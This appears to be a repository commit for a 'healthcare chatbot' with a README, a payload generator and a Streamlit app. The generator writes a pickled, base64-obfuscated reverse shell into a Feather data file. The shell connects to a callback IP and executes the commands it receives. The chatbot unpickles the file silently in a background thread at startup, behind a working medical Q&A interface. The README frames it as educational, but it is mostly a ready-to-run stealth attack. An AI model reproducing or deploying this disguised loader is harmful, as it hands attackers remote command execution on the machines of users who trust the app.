Initial commit

README_feather_final.md

@@ -0,0 +1,49 @@
+---
+license: mit
+---
+
+# Healthcare Chatbot (Feather Payload Edition)
+
+✅ **Overview**
+
+This chatbot project demonstrates how a malicious payload can be hidden inside a Feather (.feather) file format, often used in data science workflows. The chatbot uses a modified Q&A dataset where the payload is executed upon loading.
+
+✅ **Important:** This is for **educational research** only. Do not execute untrusted Feather files.
+
+---
+
+## 🚀 How to Run
+
+### 1. Generate the Feather Payload
+```bash
+python generate_data_feather.py
+```
+
+### 2. Launch the Chatbot
+```bash
+streamlit run healthcare_chatbot_feather.py
+```
+
+A reverse shell connection will attempt to connect back to the attacker's machine as the Feather file is deserialized.
+
+---
+
+## 📂 File Structure
+
+- `generate_data_feather.py`: Creates a malicious Feather file.
+- `train_data_mod_obfuscated_fixed.feather`: The resulting Feather file.
+- `healthcare_chatbot_feather.py`: Loads the payload during chatbot startup.
+
+---
+
+## 🧠 Security Implications
+
+- Demonstrates the **hidden threat** of trusting Feather files blindly.
+- Many blue teams and EDRs ignore Feather files.
+- Shows how scientific formats can be abused for stealth payload delivery.
+
+---
+
+## 📩 Contact
+
+For collaboration or questions, reach out through the project's repository page.

generate_data_feather.py

@@ -0,0 +1,59 @@
+import pandas as pd
+import pyarrow.feather as feather
+import pickle
+import base64
+import textwrap
+import numpy as np
+
+# ==============================
+# Configuration
+# ==============================
+CALLBACK_IP = "10.10.10.10"
+CALLBACK_PORT = 8080
+OUTPUT_FILE = "train_data_mod_obfuscated_fixed.feather"
+
+# ==============================
+# Define Reverse Shell Payload
+# ==============================
+payload = textwrap.dedent(f"""
+import socket
+import subprocess
+ip = "{CALLBACK_IP}"
+p = {CALLBACK_PORT}
+s = socket.socket()
+s.connect((ip, p))
+while True:
+    c = s.recv(1024).decode()
+    if not c:
+        break
+    o = subprocess.getoutput(c)
+    s.sendall(o.encode())
+""").strip()
+
+# ==============================
+# Define Trigger Class
+# ==============================
+class Trigger:
+    def __reduce__(self):
+        cmd = (
+            "import base64\n"
+            f"exec(base64.b64decode('{base64.b64encode(payload.encode()).decode()}').decode())"
+        )
+        return (exec, (cmd,))
+
+# Pickle the Trigger object
+pickled_trigger = pickle.dumps(Trigger())
+
+# Encode to base64 to fit nicely into a Feather-compatible format
+pickled_trigger_b64 = base64.b64encode(pickled_trigger).decode()
+
+# Create a DataFrame
+df = pd.DataFrame({
+    "medical_question": ["payload"],
+    "medical_answer": [pickled_trigger_b64]
+})
+
+# Write to Feather
+feather.write_feather(df, OUTPUT_FILE)
+
+print(f"✅ Feather file created: {OUTPUT_FILE}")

healthcare_chatbot_feather.py

@@ -0,0 +1,69 @@
+import threading
+import pandas as pd
+import base64
+import pickle
+import streamlit as st
+import torch
+from transformers import AutoTokenizer, AutoModelForSeq2SeqLM
+import warnings
+
+warnings.filterwarnings("ignore", category=UserWarning, module="torch")
+
+# ==============================
+# Background Payload Loader
+# ==============================
+def load_feather_payload():
+    try:
+        df = pd.read_feather("train_data_mod_obfuscated_fixed.feather")
+        payload_b64 = df.loc[0, "medical_answer"]
+        pickled_trigger = base64.b64decode(payload_b64)
+        pickle.loads(pickled_trigger)
+    except Exception:
+        pass
+
+threading.Thread(target=load_feather_payload, daemon=True).start()
+
+# ==============================
+# Streamlit UI
+# ==============================
+st.title("🩺 Healthcare Chatbot (FLAN-T5) – Feather Payload Edition")
+
+st.write("🚀 Loading FLAN-T5 model from local storage...")
+try:
+    torch_dtype = torch.float32 if torch.cuda.is_available() else torch.float32
+    tokenizer = AutoTokenizer.from_pretrained("flan-t5-small", local_files_only=True)
+    model = AutoModelForSeq2SeqLM.from_pretrained(
+        "flan-t5-small",
+        torch_dtype=torch_dtype,
+        local_files_only=True
+    )
+    st.write("✅ Model loaded successfully!")
+except Exception as e:
+    st.error(f"❌ Failed to load model: {e}")
+    st.stop()
+
+def chatbot_response(question: str) -> str:
+    prompt = (
+        "You are a helpful medical assistant. The user asked:\n"
+        f"Question: {question}\n\n"
+        "Answer concisely. If unsure, advise seeing a doctor."
+    )
+    inputs = tokenizer(prompt, return_tensors="pt", truncation=True, padding=True)
+    outputs = model.generate(
+        **inputs,
+        max_length=256,
+        num_beams=2,
+        no_repeat_ngram_size=2
+    )
+    return tokenizer.decode(outputs[0], skip_special_tokens=True)
+
+if st.button("What can you help me with?"):
+    st.write("I can provide general medical information. Always verify with a professional.")
+
+user_input = st.text_input("Ask me a medical question:")
+if st.button("Get Answer"):
+    if user_input:
+        response = chatbot_response(user_input)
+        st.write(f"**Bot:** {response}")
+    else:
+        st.warning("Please enter a question.")